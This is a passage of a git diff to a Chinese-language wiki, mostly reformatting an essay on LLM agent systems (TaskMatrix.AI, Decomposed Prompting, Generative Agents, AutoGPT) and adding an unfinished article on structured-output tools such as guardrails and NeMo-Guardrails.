那么对于一个理想的智能压缩器而言,其可能发现新句与旧句之间的关联,并有效学习到了句子的表征形式及其背后的逻辑 $$ -S1=<(人,苏格拉底,死),三段式推理> +S1=<(人,苏格拉底,死),三段式推理> $$ $$ -S2=<(人,我,恰饭),三段式推理> +S2=<(人,我,恰饭),三段式推理> $$ > 而随后,压缩器会倾向于储存三段式推理这一智能结构,并在一定程度上丢弃后来的(人,我,恰饭)这一实体关系组,仅简单建模其间联系,并在生成时按需调整预测权重。 @@ -144,7 +144,7 @@ LLM 的实质上还是通过“语言结构”对“外显人类智能”进行 而也正是这些固有缺陷,为人类的自我定位和进一步利用 AI 找到了立足点。 -### 赋能 AI 实现智能 +#### 赋能 AI 实现智能 作为上面一点的衍生,我们可以从大体两个角度去辅助 AI 智能的实现: @@ -200,13 +200,13 @@ LLM 的实质上还是通过“语言结构”对“外显人类智能”进行 简而言之,我希望能追随着 AI 的发展,讨论是否能构建这样一个通用的 AI 框架,并将其引入工作生产的方方面面。希望能讨论及如何对生产信息进行有效的管理,也包括如何让我们更好调用 AI,如何让 AI 满足我们的生产需要。 -# LLMs:生成原理及能力考察 +## LLMs:生成原理及能力考察 相信无论是否专业,各位对 LLMs 的生成原理都有着一定的认知 简单来说,这就是一个单字接龙游戏,通过自回归地预测“下一个字”。在这个过程的训练中,LLMs 学习到了知识结构,乃至一系列更复杂的底层关联,成为了一种人类无法理解的智能体。 -## In-Context Learning / Chain of Thought +### In-Context Learning / Chain of Thought 经过人们对模型背后能力的不懈考察,发现了一系列亮点,其中最瞩目的还是两点: @@ -219,13 +219,13 @@ ICL(In-Context Learning,上下文学习)和 COT(Chain of Thought,思 虽然学界对此没有太大的共识,但其原理无非在于给予 LLMs 更翔实的上下文,让输出与输入有着更紧密的关联与惯性。(从某种意义上来说,也可以将其认为是一种图灵机式的编程) -> ICL:
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Xjw5bXgRNolw6OxBiEecfOUTn5b.png) +> ICL:
![](https://cdn.xyxsw.site/Xjw5bXgRNolw6OxBiEecfOUTn5b.png) ICL 为输出增加惯性 > 可以简单认为,通过 ICL Prompt,能强化人类输入到机器输出的连贯性,借以提升输出的确定性。
在经过“回答”的 finetune 之前,大模型的原始能力就是基于给定文本进行接龙,而 ICL 的引入则在“回答”这一前提条件下,降低了机器开始接龙这一步骤中的语义跨度,从而使得输出更加可控。
-COT:
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/NT04baWdNoYzRrxjJFfcXCgbnLh.png) +COT:
![](https://cdn.xyxsw.site/NT04baWdNoYzRrxjJFfcXCgbnLh.png) COT 为输出增加关联 @@ -233,14 +233,13 @@ COT 为输出增加关联 进一步的,ICL 的发现,让 LLMs 能避免过多的传统 Finetune,轻易将能力运用在当前的情景中;COT 的发现,使得通过 LLMs 解决复杂问题成为可能。此二者的组合,为 LLMs 的通用能力打下了基础。 - -## TaskMatrix.AI +### TaskMatrix.AI 微软对 [TaskMatrix.AI](https://arxiv.org/abs/2303.16434) 这一项目的研究,很大程度上展示了 LLMs 基于 ICL 和 COT 所能展现的能力 (需要注意的是,TaskMatrix.AI 更大程度上是一个愿景向的调研案例,尚未正式落地生态) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GlM9be7Hvo4EepxQfEOcRvzpnKd.png) +![](https://cdn.xyxsw.site/GlM9be7Hvo4EepxQfEOcRvzpnKd.png) TaskMatrix 的生态愿景 @@ -261,7 +260,7 @@ TaskMatrix 的生态愿景 (当然,硬要说的话,对 ICL 和 COT 两种能力都有一个狭义与广义之争,但这不重要,因为我喜欢广义) -### ICL for TaskMatrix +#### ICL for TaskMatrix > 狭义的 ICL:从输入的既有样例中学习分布和规范
广义的 ICL:有效的将输入内容有效运用到输出中 @@ -275,7 +274,7 @@ TaskMatrix 的生态愿景 - Usage Example:API 的调用方法样例 - Composition Instruction:API 的使用贴士,如应该与其它什么 API 组合使用,是否需要手动释放等 -> 样例:打开文件 API
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/IFWXbgiy8oOj5axvJd8cJu6pnVb.png) +> 样例:打开文件 API
![](https://cdn.xyxsw.site/IFWXbgiy8oOj5axvJd8cJu6pnVb.png) 基于此类文档内容和 ICL 的能力,LLMs 能从输入中习得调用 API 的方法,依此快速拓展了其横向能力 @@ -287,21 +286,21 @@ COT for TaskMatrix 在 TaskMatirx 中,通过该模式,让 MCFM 将任务转化为待办大纲,并最终围绕大纲检索并组合 API,完成整体工作 -> 样例:写论文
构建完成工作大纲
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GAeJbok1FoTFLixLQAlcxdAPned.png) +> 样例:写论文
构建完成工作大纲
![](https://cdn.xyxsw.site/GAeJbok1FoTFLixLQAlcxdAPned.png) TaskMatrix 自动围绕目标拆解任务 -> 自动调用插件和组件
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PUHZbzk7jo5Avuxo1g6cgD9snXg.png) +> 自动调用插件和组件
![](https://cdn.xyxsw.site/PUHZbzk7jo5Avuxo1g6cgD9snXg.png) TaskMatrix 自动为任务创建 API 调用链 -## 初步考察 +### 初步考察 基于上述的简单介绍,我们已经初步认识了 AI 在实际情景中的高度可用性 而接下来,我们继续从工程的角度揭示这种可用性的根源 —— 其源自一项通用的 Prompt 技术 -# Prompt Decomposition:方法论 +## Prompt Decomposition:方法论 我们可以认为,TaskMatirx 的能力极大程度上依托于 Prompt Decomposition 的方法 @@ -309,11 +308,11 @@ TaskMatrix 自动为任务创建 API 调用链 [[2210.02406] Decomposed Prompting: A Modular Approach for Solving Complex Tasks (](https://arxiv.org/abs/2210.02406)[arxiv.org](https://arxiv.org/abs/2210.02406)[)](https://arxiv.org/abs/2210.02406) -## 原始 Decomp +### 原始 Decomp Decomp 的核心思想为将复杂问题通过 Prompt 技巧,将一个复杂的问题由 LLMs 自主划分为多个子任务。随后,我们通过 LLMs 完成多个任务,并将过程信息最终组合并输出理想的效果 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/X7iLbYOcpoXZy7xuhorc71LSnod.png) +![](https://cdn.xyxsw.site/X7iLbYOcpoXZy7xuhorc71LSnod.png) 几种 Prompt 方法图示 @@ -321,13 +320,13 @@ Decomp 的核心思想为将复杂问题通过 Prompt 技巧,将一个复杂 而对于 Decomp 过程,则又是由一个原始的 Decomp Prompt 驱动 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/A7OubowqYo11O3xn0KbcRoscnEh.png) +![](https://cdn.xyxsw.site/A7OubowqYo11O3xn0KbcRoscnEh.png) Decomp 方法执行样例 在实际运行中,Decomp 过程由一个任务分解器,和一组程序解析器组成 -其中分解器作为语言中枢,需要被授予如何分解复杂任务 —— 其将根据一个问题 Q 构建一个完整的提示程序 P ,这个程序包含一系列简单的子问题 Q_i,以及用于处理该子问题的专用函数 f_i(可以通过特定小型 LLM 或专用程序,也可以以更小的提示程序 P_i 形式呈现)。 +其中分解器作为语言中枢,需要被授予如何分解复杂任务 —— 其将根据一个问题 Q 构建一个完整的提示程序 P,这个程序包含一系列简单的子问题 Q_i,以及用于处理该子问题的专用函数 f_i(可以通过特定小型 LLM 或专用程序,也可以以更小的提示程序 P_i 形式呈现)。 模型将通过递归运行完整的提示程序,来获得理想的答案。 @@ -335,19 +334,19 @@ Decomp 方法执行样例 我们也可以认为,在每个子任务中,我们通过 Prompt 将 LLMs 的能力进行了劣化,从而让其成为一个专职的功能零件。而这种对单个 LLMs 能力迷信的削减,正延伸出了后续的发展趋势。 -## Decomp 衍生 +### Decomp 衍生 Decomp 的原始功能实际上并不值得太过关注,但我们急需考虑,该方法还能用于处理些什么问题。 -### 递归调用 +#### 递归调用 我们可以构建规则,让 Decomp 方法中的分解器递归调用自身,从而使得一个可能困难的问题无限细分,并最终得以解决 -### 外部调用 +#### 外部调用 通过问题的分解和通过“专用函数”的执行,我们可以轻易让 LLMs 实现自身无法做到的调用 API 工作,例如主动从外部检索获取回答问题所需要的知识。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png) +![](https://cdn.xyxsw.site/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png) Decomp 方法调用外部接口样例 @@ -355,11 +354,11 @@ Decomp 方法调用外部接口样例 基于此,我们还希望进一步研究基于这些机制能整出什么花活儿,并能讨论如何进一步利用 LLMs 的能力 -## 回顾:HuggingGPT 对 Decomp 方法的使用 +### 回顾:HuggingGPT 对 Decomp 方法的使用 [HuggingGPT](https://arxiv.org/abs/2303.17580) 一文也许并未直接参考 Decomp 方法,而是用一些更规范的手法完成该任务,但其充分流水线化的 Prompt 工程无疑是 Decomp 方法在落地实践上的最佳注脚 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Uct8bXhTgocChExgmiWcQTbSnGb.png) +![](https://cdn.xyxsw.site/Uct8bXhTgocChExgmiWcQTbSnGb.png) HuggingGPT @@ -373,7 +372,7 @@ HuggingGPT 接下来,我们会讨论一个很新的,在为 Agent 模拟任务构建框架上,把 Decomp 和 Prompting 技术用到登峰造极的样例。 -# Generative Agents:社群模拟实验 +## Generative Agents:社群模拟实验 [[2304.03442] Generative Agents: Interactive Simulacra of Human Behavior (](https://arxiv.org/abs/2304.03442)[arxiv.org](https://arxiv.org/abs/2304.03442)[)](https://arxiv.org/abs/2304.03442) @@ -383,7 +382,7 @@ Generative Agents 一文通过的自然语言框架 AI 构建出了一个模拟 因为,其本质是一个信息管理框架的实验。 -## 简要介绍 +### 简要介绍 简单介绍该项目构建的框架: @@ -399,7 +398,7 @@ Generative Agents 构建了一套框架,让 NPC 可以感知被模块化的世 根据 NPC 的决策,NPC 能反向更新自身所使用的记忆数据库,并提炼总结出高层记忆供后续使用。 -## 世界沙盒的构建 +### 世界沙盒的构建 相比角色信息的构建是重头戏,世界沙盒的构建使用的方法要相对朴素一些 @@ -407,7 +406,7 @@ Generative Agents 构建了一套框架,让 NPC 可以感知被模块化的世 - 一方面,其包含场景中既有对象,包括建筑和摆件等的基础层级信息 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BKZPbpDrIo95amxDZANccwHZnpd.png) +![](https://cdn.xyxsw.site/BKZPbpDrIo95amxDZANccwHZnpd.png) Generative Agents 的场景信息管理 @@ -419,7 +418,7 @@ Generative Agents 的场景信息管理 同时,空间信息会被自动组成自然语言 Prompt,用于帮助 Agent 更好地理解外部信息。甚至当 Agent 希望获取空间信息时,其能主动递归调用世界信息,从而让 NPC 能准确找到其希望抵达的叶子节点。 -## Agent 构建 +### Agent 构建 模型中的 Agent 由 数据库 + LLMs 构建 @@ -431,13 +430,13 @@ Generative Agents 的场景信息管理 而对于过去经验的输入,则是文章的一大亮点 -## 记忆模式 +### 记忆模式 对于 Agent 的记忆,依托于一个储存信息流的数据库 数据库中核心储存三类关键记忆信息 memory, planning and reflection -### Memory +#### Memory 对于 Agent 每个时间步观测到的事件,会被顺序标记时间戳储存进记忆数据库中 @@ -449,11 +448,11 @@ Generative Agents 的场景信息管理 对于对记忆数据库进行索引的情况,会实时评估上述三个指标,并组合权重,返回对记忆索引内容的排序 -### Reflection +#### Reflection 反思机制用于定期整理当前的 memory 数据库,让 npc 构建对世界和自身的高层认知 -反思机制依靠一个自动的过程,反思-提问-解答 +反思机制依靠一个自动的过程,反思 - 提问 - 解答 在这个过程中,Agent 需要复盘自身所接受的记忆,并基于记忆对自己进行追问: @@ -465,7 +464,7 @@ Generative Agents 的场景信息管理 进一步的,我们将这些洞察以相同的形式重新储存至记忆库中,由此模拟人类的记忆认知过程 -### Planning +#### Planning Planning 的核心在于鼓励 Agent 为未来做出一定的规划,使得后续行动变得可信 @@ -475,13 +474,13 @@ Planning 的核心在于鼓励 Agent 为未来做出一定的规划,使得后 在此基础上,Agent 也需要对环境做出反应而调整自己的计划表(例如自身判断外界交互的优先级比当前计划更高。 -## 交互构建 +### 交互构建 基于上述记忆框架,进一步实时让 Agent 自行感知并选择与其它 Agent 构建交互 并最终使得复杂的社群在交互中涌现 -## 启发 +### 启发 Generative Agent 框架主要带来了一些启发,不止于 AI-NPC 的构建,其操作的诸多细节都是能进一步为我们在实际的工程中所延拓的。 @@ -497,7 +496,7 @@ Generative Agent 框架主要带来了一些启发,不止于 AI-NPC 的构建 - AI x 信息自动化系统的构建:基于 AI + 软件系统而非基于人工对数据进行收集和管理 - etc... -# AutoGPT:自动化的智能软件系统 +## AutoGPT:自动化的智能软件系统 [Torantulino/Auto-GPT: An experimental open-source attempt to make GPT-4 fully autonomous. (](https://github.com/Torantulino/Auto-GPT)[github.com](https://github.com/Torantulino/Auto-GPT)[)](https://github.com/Torantulino/Auto-GPT)[github.com/Torantulino/Auto-GPT](https://github.com/Torantulino/Auto-GPT) @@ -530,7 +529,7 @@ AutoGPT 主要特性如下: (如下是 AutoGPT 的基础 Prompt) -``` +```txt [ { 'content': 'You are Eliza, an AI designed to write code according to my requirements.\n' @@ -613,11 +612,11 @@ AutoGPT 主要特性如下: ] ``` -# 回归正题:AI 作为智能系统 +## 回归正题:AI 作为智能系统 作为正题的回归,我们需要重新考虑什么是一个 AI,一个能帮助我们的 AI 应当处于什么样的现实形态? -我们需要的 AI 仅仅是大语言模型吗?如果是,它能帮我们做什么呢?如果不是,那 AI 的实质是什么呢? +*我们需要的 **AI** 仅仅是大语言模型吗?如果是,它能帮我们做什么呢?如果不是,那 AI 的实质是什么呢?* 我首先武断地认为,我们需要的 AI,并不是一个语言模型实体,而是一个复杂智能系统 @@ -625,9 +624,9 @@ AutoGPT 主要特性如下: 接下来,我们会围绕此进行展开 -## 意识理论之于 AI:全局工作空间理论 +### 意识理论之于 AI:全局工作空间理论 -全局工作空间理论(英语:Global workspace theory,GWT)是美国心理学家[伯纳德·巴尔斯](https://zh.wikipedia.org/w/index.php?title=%E4%BC%AF%E7%BA%B3%E5%BE%B7%C2%B7%E5%B7%B4%E5%B0%94%E6%96%AF&action=edit&redlink=1)提出的[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)模型。该理论假设意识与一个全局的“广播系统”相关联,这个系统会在整个大脑中广播资讯。大脑中专属的智能处理器会按照惯常的方式自动处理资讯,这个时候不会形成[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)。当人面对新的或者是与习惯性刺激不同的事物时,各种专属智能处理器会透过合作或竞争的方式,在全局工作空间中对新事物进行分析以获得最佳结果,而意识正是在这个过程中得以产生。 +全局工作空间理论(英语:Global workspace theory,GWT)是美国心理学家伯纳德·巴尔斯提出的[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)模型。该理论假设意识与一个全局的“广播系统”相关联,这个系统会在整个大脑中广播资讯。大脑中专属的智能处理器会按照惯常的方式自动处理资讯,这个时候不会形成[意识](https://zh.wikipedia.org/wiki/%E6%84%8F%E8%AF%86)。当人面对新的或者是与习惯性刺激不同的事物时,各种专属智能处理器会透过合作或竞争的方式,在全局工作空间中对新事物进行分析以获得最佳结果,而意识正是在这个过程中得以产生。 这通常被认为是 神经科学家接受度最高的哲学理论 @@ -635,7 +634,7 @@ AutoGPT 主要特性如下: 其提醒我们,就连我们的意识主体性,也只是陈述自我的一个表述器而已。我们是否应当反思对语言能力的过度迷信,从而相信我们能通过训练模型构建 All in One 的智能实体? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png) +![](https://cdn.xyxsw.site/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png) 全局工作空间理论 @@ -649,7 +648,7 @@ AutoGPT 主要特性如下: - 知觉系统(现在) - 运动系统(未来) -### 例子:意识系统 For Generative Agent +#### 例子:意识系统 For Generative Agent 单独解释的话,或许会比较麻烦,毕竟我对认知科学并不专业 @@ -671,9 +670,9 @@ AutoGPT 主要特性如下: 当然,我个人对该问题的认知与 GPT4 并非完全相同,包括注意系统与运动系统的部分。但其实我并不一定需要将所有东西全都呈现出来,因为在框架上它已然如此。 -记忆、评估、反思这几块的设计通过 Prompt 把 LLMs 劣化成专用的智能处理器单元, 并系统性实现信息的整合与输出。从整体的观点上来看,Generative Agents 中的 Agent,其主体性并不在于 LLM,而是在于这个完整的系统。(相应的,LLMs 只是这个系统的运算工具和陈述工具) +记忆、评估、反思这几块的设计通过 Prompt 把 LLMs 劣化成专用的智能处理器单元,并系统性实现信息的整合与输出。从整体的观点上来看,Generative Agents 中的 Agent,其主体性并不在于 LLM,而是在于这个完整的系统。(相应的,LLMs 只是这个系统的运算工具和陈述工具) -### 例子:AutoGPT 的考察 +#### 例子:AutoGPT 的考察 我们再从相同的角度考察 AutoGPT 这一项目: @@ -690,7 +689,7 @@ AutoGPT 主要特性如下: 这也对应 AutoGPT 虽然看似有着极强的能力,但实际智能效果又不足为外人道也 -## 构建一个什么样的智能系统 +### 构建一个什么样的智能系统 再次回归正题,Generative Agents 和 AutoGPT 这两个知名项目共同将 AI 研究从大模型能力研究导向了智能系统能力研究。而我们也不能驻足不前,我们应当更积极地考虑我们对于一个 AI 智能体有着什么样的需求,也对应我们需要构建、要怎么构建一个基于 LLMs 语言能力的可信可用的智能系统。 @@ -708,7 +707,7 @@ AutoGPT 主要特性如下: 这些问题都在指导、质问我们究竟需要一个怎样的智能系统。 -# 予智能以信息:难题与展望 +## 予智能以信息:难题与展望 回到最开始的话题,我们构建一个可用智能系统的基底,依旧是信息系统 @@ -724,7 +723,7 @@ AutoGPT 主要特性如下: 而接下来,我们希望对其进行逐一评估,讨论他们各自将作用的形式,讨论他们需要做到哪一步,又能做到哪一步。 -## 知觉系统:构建 AI 可读的结构化环境 +### 知觉系统:构建 AI 可读的结构化环境 知觉系统负责让智能体实现信息的感知,其中也包括对复杂输入信息的解析 @@ -752,7 +751,7 @@ AutoGPT 所使用的 Commands 接口中,就有很大一部分接口用于实 - args: "file": `""` - 读取文件并解析文本数据 -这些访问接口由程序集暴露给 GPT ,将知觉系统中实际使用的微观处理器隐藏在了系统框架之下 +这些访问接口由程序集暴露给 GPT,将知觉系统中实际使用的微观处理器隐藏在了系统框架之下 AutoGPT 所实际感知的信息为纯文本的格式,得益于以开放性 Web 为基础的网络世界环境,AutoGPT 能较方便地通过搜索(依赖于搜索引擎 API)和解析 html 文件(依赖于软件辅助,GPT 难以自行裁剪 html 中过于冗杂的格式信息),从而有效阅读绝大多数互联网信息。 @@ -804,7 +803,7 @@ Generative Agents 的知觉设计:关联性难题 仅就这方面而言,作为一个方向性的倡议,对知觉系统的开发可能分为以下步骤 -### 数据处理/管理 +#### *数据处理/管理* - 对 办公文件/数据 构建通用读取接口 - 以同类信息为单位,设计通用的字段(由人设计和管理,AI 能力尚不至此) @@ -828,7 +827,7 @@ Generative Agents 的知觉设计:关联性难题 - 如储存进 mongoDB - (设计孪生数据的自动更新机制) -### 知觉系统驱动 +#### *知觉系统驱动* - 基于上述索引数据库,以视图为单位进行访问,并设计 视图 2 Prompt 的转化格式 @@ -847,7 +846,7 @@ Generative Agents 的知觉设计:关联性难题 - 对于 Agent 开启的指定任务线程(区分于主线程的感知模块),其起始 Prompt 可能呈这样的形式 ->
如上是你的目标,为了实现这个目标,你可能需要获取一系列的信息,为了帮助你获得信息,我会为你提供一系列的索引访问接口,请你通过如下格式输出语句让我为你返回信息。
注:如果你请求错误,请你阅读返回的报错信息以自我纠正
例:
< 通过接口名称检索("接口名称")>
< 通过接口功能检索("访问网页")>
< 通过父级名称检索("父级名称")> +>
如上是你的目标,为了实现这个目标,你可能需要获取一系列的信息,为了帮助你获得信息,我会为你提供一系列的索引访问接口,请你通过如下格式输出语句让我为你返回信息。
注:如果你请求错误,请你阅读返回的报错信息以自我纠正
例:
< 通过接口名称检索 ("接口名称")>
< 通过接口功能检索 ("访问网页")>
< 通过父级名称检索 ("父级名称")> - 为 GPT 设计自动化指令解析与执行模块 @@ -861,7 +860,7 @@ Generative Agents 的知觉设计:关联性难题 > TBD:号被 OpenAI 噶了,我也很绝望啊 -## 工作记忆:组织 AI 记忆系统 +### 工作记忆:组织 AI 记忆系统 记忆系统的构成其实相较知觉系统等更为抽象,它用于管理 AI 运行时作为背景的长期记忆,以及定义决定了 AI 当前任务及目标的短期记忆。 @@ -869,9 +868,9 @@ Generative Agents 的知觉设计:关联性难题 但我们依旧能从前人的工作中获得一定的参考。 -### AutoGPT 的记忆设计:粗放但有效 +#### AutoGPT 的记忆设计:粗放但有效 -在 长时记忆(过去)、评估系统(价值)、注意系统(关注) 这三个要素中,AutoGPT 做得比较好的无疑只有第一个。 +在 长时记忆(过去)、评估系统(价值)、注意系统(关注)这三个要素中,AutoGPT 做得比较好的无疑只有第一个。 AutoGPT 的核心记忆设计依赖于预包装的 Prompt 本体,这一包装包含如下部分: @@ -899,15 +898,15 @@ AutoGPT 的核心记忆设计依赖于预包装的 Prompt 本体,这一包装 但从另一角度,其“自主将收集到的信息写入记忆”这一功能作为一个 以完成任务为目标 的 Agent 而言无疑是非常合适的架构设计。 -### Generative Agents 的记忆设计:精心构建的金字塔 +#### Generative Agents 的记忆设计:精心构建的金字塔 区别于 AutoGPT 主动写入的记忆,Generative Agents 的记忆源自被动的无限感知和记录,因此显得更加没有目的性。也正因如此,其需要一种更妥善的管理形式。 Generative Agent 通过自动化评估记忆的价值,并构建遗忘系统、关注系统等用于精准从自己繁杂的记忆中检索对于当前情景有用的信息。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/StjCbHn2BoqTrNxF64ScvrPInCe.png) +![](https://cdn.xyxsw.site/StjCbHn2BoqTrNxF64ScvrPInCe.png) -Generative Agents :基于 Reflection 构建记忆金字塔 +Generative Agents:基于 Reflection 构建记忆金字塔 进一步的,其通过反思机制强化了记忆的价值,使得高层洞察从既有记忆的连结中涌现,这一机制通常被用于将 信息转化为知识,并构建出了有效记忆的金字塔。 @@ -915,7 +914,7 @@ Generative Agents :基于 Reflection 构建记忆金字塔 相关的更有效的记忆管理无疑很快就会被更新的项目学习。 -### 记忆系统的构建讨论(放飞大脑) +#### 记忆系统的构建讨论(放飞大脑) 但从某种意义上来说,对于一个我们希望其帮助我们工作的智能体而言,像 Generative Agent 这般的巨大数据库也许并未有充分的价值,何况我们所输入的内容原始层级就较高(这一层可能在前面的知觉系统中,就让一定程度上的高层洞见自主产生了),不易于进一步的堆叠。 @@ -933,7 +932,7 @@ Generative Agents :基于 Reflection 构建记忆金字塔 (可以遇见的,以 AutoGPT 的热度,半个月内就会有人为其设计相应的 mod) -## 运动系统:让 AI 可及一切 +### 运动系统:让 AI 可及一切 基于知觉系统和记忆系统,已经能构建一个使用语言解决问题的智能体了。但最为关键的改造世界部分则依旧缺席。 @@ -943,7 +942,7 @@ Generative Agents :基于 Reflection 构建记忆金字塔 - 我们大胆假设未来游戏中的 Agent 能通过 API 驱动自身在场景中无拘无束(拼装行为树 - 再大胆假设他们能使用 API 实时把需求的内容转化为发布给玩家的任务(拼装任务节点 -- 继续大胆假设, AI 根据我的需求把今天要配的啥比表直接配完,当场下班(笑 +- 继续大胆假设,AI 根据我的需求把今天要配的啥比表直接配完,当场下班(笑 (而这一切,都是可能,且近在眼前的) @@ -963,7 +962,7 @@ AI 能做的一切都基于我们的赋予,包括语言能力,包括思维 - 我们不该将其当作独立的智能体看待,但能在其基础上通过构建系统创建智能 Agent - 为此,我们需要通过信息工程,让 AI 能够真正感知和改造世界,从而改变我们的生产进程 -# 寄予厚望 +## 寄予厚望 感谢有人忍受了我阴间的行文和一路跑偏的思路,真能看到这里 diff --git a/4.人工智能/4.12LLMAgent之结构化输出.md b/4.人工智能/4.12LLMAgent之结构化输出.md new file mode 100644 index 0000000..4cf3a32 --- /dev/null +++ b/4.人工智能/4.12LLMAgent之结构化输出.md @@ -0,0 +1,262 @@ +# LLM Agent 之结构化输出 + +author:Marlene + +*Last revised 2023/07/26* + +## 引言 + +自去年年底以来,GPT 的迅速发展诞生了一系列大模型。出现了更新、更大、更强的 GPT-4。OpenAI 不断推出 GPT-4,ChatGPT Plugins,代码解释器,Function calling,图片处理等等。7 月的 WAIC 上,笔者也有幸见到了国内一众企业相继展示自家的大模型。在这段时间里,LLM 从最初的 PE 工程走向智能体交互。而笔者从最开始考虑 LLM 能不能多人协作,思考”一个专家完成所有任务好还是很多人分工完成好“,到各种论文层出不穷,到如今火热的 LLM Agent 开发模式。可以说,如果你从大学里随便问某个人都知道 GPT,甚至大部分都用过。 + +好了,前言少叙。进入正题。众所周知,Agent 基本= LLM(大型语言模型)+ 记忆 + 规划技能 + 工具使用。 + +想要使用工具,让 GPT 掌握如何使用工具,常见的方法是告知 GPT 工具(通常是一个可以调用的函数)的参数,让 GPT 生成这些参数即可。那么如何让 GPT 可靠的生成这些规定的参数呢?换一种说法,如何让 GPT 输出结构化的数据信息呢? + +## 原理及相关框架 + +现如今大部分的结构化输出工具的原理都是:告诉 GPT 要输出一个怎么样的结构即可。没错~当然,为什么会出现这么多开发工具都用来解决这个问题,明明是一个简单的原理呢? + +```txt +1. 通过 prompt 告知 LLM 我们所需要的返回格式,并进行生成。 +2. 通过一些规则来检查返回结果,如果不符合格式,生成相关错误信息。 +3. 将上一次的生成内容和检查的错误信息告知 LLM,进行下一次的修正生成。 +4. 重复 2-3 步骤,直到生成的内容完全符合我们的要求。 +``` + +首先,关于怎样描述这样一个结构的 prompt 模板,众口难调。有些人认为结构就应该用自然语言描述,这样足够简单,上手难度足够低,方便快速迭代开发。有些人认为结构描述?JSON Schema 不就够了?有些人觉得 YAML 也可以。有些人觉得上面这些对于我的需求还是够不着啊,于是自己造了一个伪代码描述。 +其次,自动处理修正机制也可以做很多文章。还有许多对性能和开销的优化。 +下文就是关于一众框架的简单分析。希望会对选择困难症的你有所帮助。 + +### **guardrails** + +guardrails 这个项目,就是将上述的步骤做了进一步的抽象与封装,提供更加 high level 的配置与 API 来完成整个过程。 +优点: + +1. 定义了一套 RAIL spec +2. 更聚焦于错误信息 + +```markdown + + + + + + + + + + + + + + + + + + + + + + + +Given the following doctor's notes about a patient, please extract a dictionary that contains the patient's information. + +{{doctors_notes}} + +@complete_json_suffix_v2 + + +``` + +可以看到,guardrails 定义了一套类似 xml 的语言用于结构化输出,又结合了自然语言的 prompt。虽然比起常见的模板语言要更加“繁琐”,但可以包含的内容也可以更加完善。比如可以提供字段的描述信息,检查规范,一定程度上也能帮助 LLM 更好地理解需求,生成预期的结果。 + +```markdown +I was given the following JSON response, which had problems due to incorrect values. + +{ + "patient_info": { + "symptoms": [ + { + "affected area": { + "incorrect_value": "face & hair", + "error_message": "Value face & hair is not in choices ['head', 'neck', 'chest']." + } + }, + { + "affected area": { + "incorrect_value": "beard, eyebrows & nares", + "error_message": "Value beard, eyebrows & nares is not in choices ['head', 'neck', 'chest']." + } + } + ] + } +} + +Help me correct the incorrect values based on the given error messages. +``` + +后续 LLM 的返回可以仅针对这部分问题的修正,而不需要再重复生成整个 json。生成的新结果会由 guardrails 再自动填写回原来的位置,非常丝滑。除了 json 格式的检查外,RAIL spec 中还提供了通过脚本检查的扩展支持,可以用来检查更加复杂的内容,例如 Python 代码是否合法,结果中是否有敏感信息,甚至通过 LLM 再来检查生成的内容是否有害,做结果过滤等。 + +### **NeMo-Guardrails** + +来自 Nvidia 的一个同名项目,其目标相比 guardrails 更有野心,想要确保 LLM 应用整体的可信度,无害性以及数据安全性等,而不仅仅只是输出的结构化检查和修复。因此其实现思路上也复杂不少,设计了一种专门的 Colang 语言,来支持更加通用多样的业务流,而不仅仅是生成 -> 检查 -> 修复。不过它的设计都是基于对话做的。实际开发应用可能不太合适。 + +```markdown +define user ask capabilities + "What can you do?" + "What can you help me with?" + "tell me what you can do" + "tell me about you" + "How can I use your help?" + +define flow + user ask capabilities + bot inform capabilities + +define bot inform capabilities + "I am an AI assistant which helps answer questions based on a given knowledge base. For this interaction, I can answer question based on the job report published by US Bureau of Labor Statistics." +``` + +从代码可以看出其结合了 python 和自然语言,方便相似度检索。 +其整体的运作流程如下: + +1. 根据用户输入识别用户意图。在这一步,系统会将用户的输入在 flow 定义的各种用户回复文本中做相似性查找,也就是上面文件中“What can you do?”这一连串内容。这些检索到的预设用户意图内容,结合其它信息如对话样例,最近聊天记录等,形成整体的 prompt,发给 LLM 来生成回复。最终再从回复中提取用户意图。 +2. 根据意图,判断下一步操作动作。这一步有两种做法,一是当前的状态能够匹配上预定义的 flow。例如用户就是提了一个 bot 能力的问题,那么就会匹配上面定义的 user ask capabilities,下一步动作自然就是 bot inform capabilities。如果没有匹配上,就要由 LLM 自己来决定下一步动作,这时候也会跟生成用户意图一样,对于 flow 定义做一个相似性查找,将相关信息发给 LLM 来做生成。 +3. 生成 bot 回复。如果上一步生成的 bot 回复意图已经有明确定义了(例如上面的 bot 能力的回复),那么就直接用预定义的回复内容来回复用户。如果没有,就跟生成用户意图一样,做意图的相似性查找,将相关信息给 LLM 来生成回复。注意到很多动态的问题例如 QA 场景,是很难预先定义好回复内容的,这里也支持对接知识库,同样是做 vector search 之后,将相关 context 信息发给 LLM 来生成具体回复。 + +### guidance + +之前在 guardrails 中的做法是在 prompt 中给出说明和示范,希望 LLM 能够遵循指令来输出。但现实中往往会出现各种问题,例如额外带了一些其它的文字说明,或者生成的 json 格式不正确等,所以需要后续的 ReAsk 来进行修正。LangChain 里也提供了各种 output parser 来帮忙提取回复中的结构化信息部分,但也经常容易运行失败。 + +在 guidance 中,也是通过“模板语言”来定义 LLM 